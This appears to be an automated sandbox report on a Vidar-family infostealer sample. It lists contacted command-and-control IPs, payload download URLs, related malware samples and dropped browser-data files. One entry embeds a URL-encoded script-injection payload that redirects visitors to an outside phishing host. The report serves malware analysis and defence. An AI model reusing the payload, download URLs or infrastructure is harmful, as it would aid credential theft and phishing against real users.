https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F80000.00000004.00000020.00020000.00000000.sdmp, ECBGCB.3.dr	false		unknown
https://recaptcha.net/recaptcha/;	aspnet_regiis.exe, 00000003.00000003.2379882274.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199780418869/inventory/	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false		unknown
https://steamcommunity.com/discussions/	aspnet_regiis.exe, 00000003.00000003.2437164159.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2423595894.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409295139.0000000002F18000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2390187972.0000000002F1A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2379758595.0000000002F0C000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2409259274.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450997934.0000000002F19000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3371829647.000000000046B000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2450928999.0000000002F13000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000002.3373275406.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, 76561199780418869[1].htm.3.dr	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
49.12.197.9	unknown	Germany	24940	HETZNER-ASDE	true
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
147.45.44.104	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524661
Start date and time:	2024-10-03 03:34:35 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 13s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@5/24@1/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 96 Number of non-executed functions: 181
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:35:58	API Interceptor	1x Sleep call for process: aspnet_regiis.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
49.12.197.9	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
104.102.49.254	http://gtm-cn-j4g3qqvf603.steamproxy1.com/	Get hash	malicious	Unknown	Browse	www.valvesoftware.com/legal.htm
147.45.44.104	file.exe	Get hash	malicious	Vidar	Browse	147.45.44.104/ldms/a43486128347.exe
	file.exe	Get hash	malicious	Vidar	Browse	147.45.44.104/ldms/a43486128347.exe
	nJohIBtNm5.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLine	Browse	147.45.44.104/revada/66fa80c468fe3_Channel2.exe
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exe
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exe
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exe
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	147.45.44.104/prog/66f55533ca7d6_RDPWInst.exe
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104/ldms/66fbfcc9963ca_ldfsna.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
steamcommunity.com	file.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	tcU5sAPsAc.exe	Get hash	malicious	RedLine	Browse	104.102.49.254
	Setup.exe	Get hash	malicious	LummaC, MicroClip	Browse	104.102.49.254
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	kuly.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	webNY0O9Sr.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	klFMCT64RF.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	EKAHephXb2.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	104.102.49.254

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FREE-NET-ASFREEnetEU	file.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	Vidar	Browse	147.45.44.104
	nJohIBtNm5.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLine	Browse	147.45.60.44
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	147.45.44.104
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	147.45.44.104
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	147.45.44.104
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	147.45.44.104
AKAMAI-ASUS	file.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	Globalfoundries.com_Report_46279.pdf	Get hash	malicious	HTMLPhisher	Browse	23.217.172.185
	cleu.cmD	Get hash	malicious	Unknown	Browse	23.47.168.24
	kUiqbpzmbo.exe	Get hash	malicious	XWorm	Browse	92.122.18.57
	Play_VM-NowCWhiteAudiowav012.html	Get hash	malicious	Tycoon2FA	Browse	2.19.224.93
	tcU5sAPsAc.exe	Get hash	malicious	RedLine	Browse	104.102.49.254
	deveba=.html	Get hash	malicious	Unknown	Browse	173.223.116.167
	Proposal From Transom.pdf	Get hash	malicious	HtmlDropper	Browse	23.203.104.175
	Payout_receipt.pdf	Get hash	malicious	Unknown	Browse	96.17.64.189
HETZNER-ASDE	file.exe	Get hash	malicious	Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	Vidar	Browse	49.12.197.9
	MZs41xJfcH.exe	Get hash	malicious	PureLog Stealer, Quasar, zgRAT	Browse	195.201.57.90
	N5mRSBWm8P.exe	Get hash	malicious	Quasar	Browse	195.201.57.90
	https://www.florenceco.org/offices/elected/solicitor/docket.php?area=florence%22%3E%3C%69%6D%67%20%73%72%63%3D%22%69%6D%61%67%65%2E%6A%70%67%22%20%6F%6E%65%72%72%6F%72%3D%22%76%61%72%20%75%72%6C%31%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%20%76%61%72%20%75%72%6C%32%20%3D%20%5B%27%68%74%74%27%2C%27%70%3A%2F%2F%67%27%2C%27%6F%27%2C%27%6F%67%27%2C%27%6C%65%2E%63%27%2C%27%6F%6D%27%2C%27%2F%27%2C%27%23%27%2C%27%66%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%76%61%72%20%75%72%6C%20%3D%20%5B%27%68%74%27%2C%27%74%70%27%2C%27%73%3A%2F%2F%76%27%2C%27%61%75%6C%27%2C%27%74%64%6F%27%2C%27%72%65%73%2E%63%27%2C%27%6F%6D%2F%30%2F%27%2C%27%30%2F%30%2F%27%2C%27%34%33%66%66%27%2C%27%35%63%62%35%27%2C%27%63%36%27%2C%27%32%65%27%2C%27%32%66%38%64%31%27%2C%27%31%63%61%33%38%38%27%2C%27%65%34%37%35%62%36%27%2C%27%63%34%36%2F14/392-16513/1254-3178-27524%27%5D%2E%6A%6F%69%6E%28%27%27%29%3B%0D%0A%20%75%72%6C%20%3D%20%75%72%6C%2E%72%65%70%6C%61%63%65%28%2F%2C%2F%67%2C%20%27%27%29%3B%20%76%61%72%20%77%69%6E%20%3D%20%77%69%6E%64%6F%77%2E%6F%70%65%6E%28%75%72%6C%2C%20%27%5F%73%65%6C%66%27%29%3B%20%77%69%6E%2E%6F%70%65%6E%65%72%20%3D%20%6E%75%6C%6C%3B%20%77%69%6E%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%75%72%6C%29%3B%22%3E	Get hash	malicious	Phisher	Browse	5.161.250.225
	mpsl.elf	Get hash	malicious	Mirai	Browse	197.242.86.248
	ppc.elf	Get hash	malicious	Mirai	Browse	197.242.86.252
	novo.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	5.75.175.36
	novo.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	116.203.33.160
	yakov.spc.elf	Get hash	malicious	Mirai	Browse	78.47.94.116

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
51c64c77e60f3980eea90869b68c58a8	file.exe	Get hash	malicious	Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	Vidar	Browse	49.12.197.9
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	49.12.197.9
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	Vidar	Browse	104.102.49.254
	MZs41xJfcH.exe	Get hash	malicious	PureLog Stealer, Quasar, zgRAT	Browse	104.102.49.254
	C5Nbn7P6GJ.exe	Get hash	malicious	XRed, XWorm	Browse	104.102.49.254
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	104.102.49.254
	lFsYXvJPWw.exe	Get hash	malicious	XRed	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254
	563299efce875400a8d9b44b96597c8e-sample (1).zip	Get hash	malicious	Unknown	Browse	104.102.49.254
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	104.102.49.254

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	nJohIBtNm5.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLine	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	nJohIBtNm5.exe	Get hash	malicious	LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, LummaC Stealer, RedLine	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	66fb252fe232b_Patksl.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BGCAAFHIEBKJ\AEHIEC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAAFHIEBKJ\AFHDHC

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAAFHIEBKJ\DHCAAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8508558324143882
Encrypted:	false
SSDEEP:	24:TLlF1kwNbXYFpFNYcw+6UwcQVXH5fBaJvWKC0ABndzGrW7swaE:TxFawNLopFgU10XJBaEKQxdgQsw
MD5:	933D6D14518371B212F36C3835794D75
SHA1:	92D056D912B3C0260D379330D3CC0359B57A322B
SHA-256:	55390EE61FB85370A8A7F51A8DD5374F7B1801D1D7DF09D6A90CDD74ED6E7D1E
SHA-512:	EAC706D8A579500EADA26FB9883E1F3CE9112A03F38EE78B11B393AB0A3285945F8E06EB406BFC17D1CB540F840E435E515FABFC265399CE6F5193980FDE3F2C
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAAFHIEBKJ\EBAFBG

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAAFHIEBKJ\EBAFBG-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAAFHIEBKJ\ECBGCB

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BGCAAFHIEBKJ\FHDAFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAAFHIEBKJ\GIECFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAAFHIEBKJ\IJKFCF

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAAFHIEBKJ\KFHCAE

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAAFHIEBKJ\KFHCAE-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
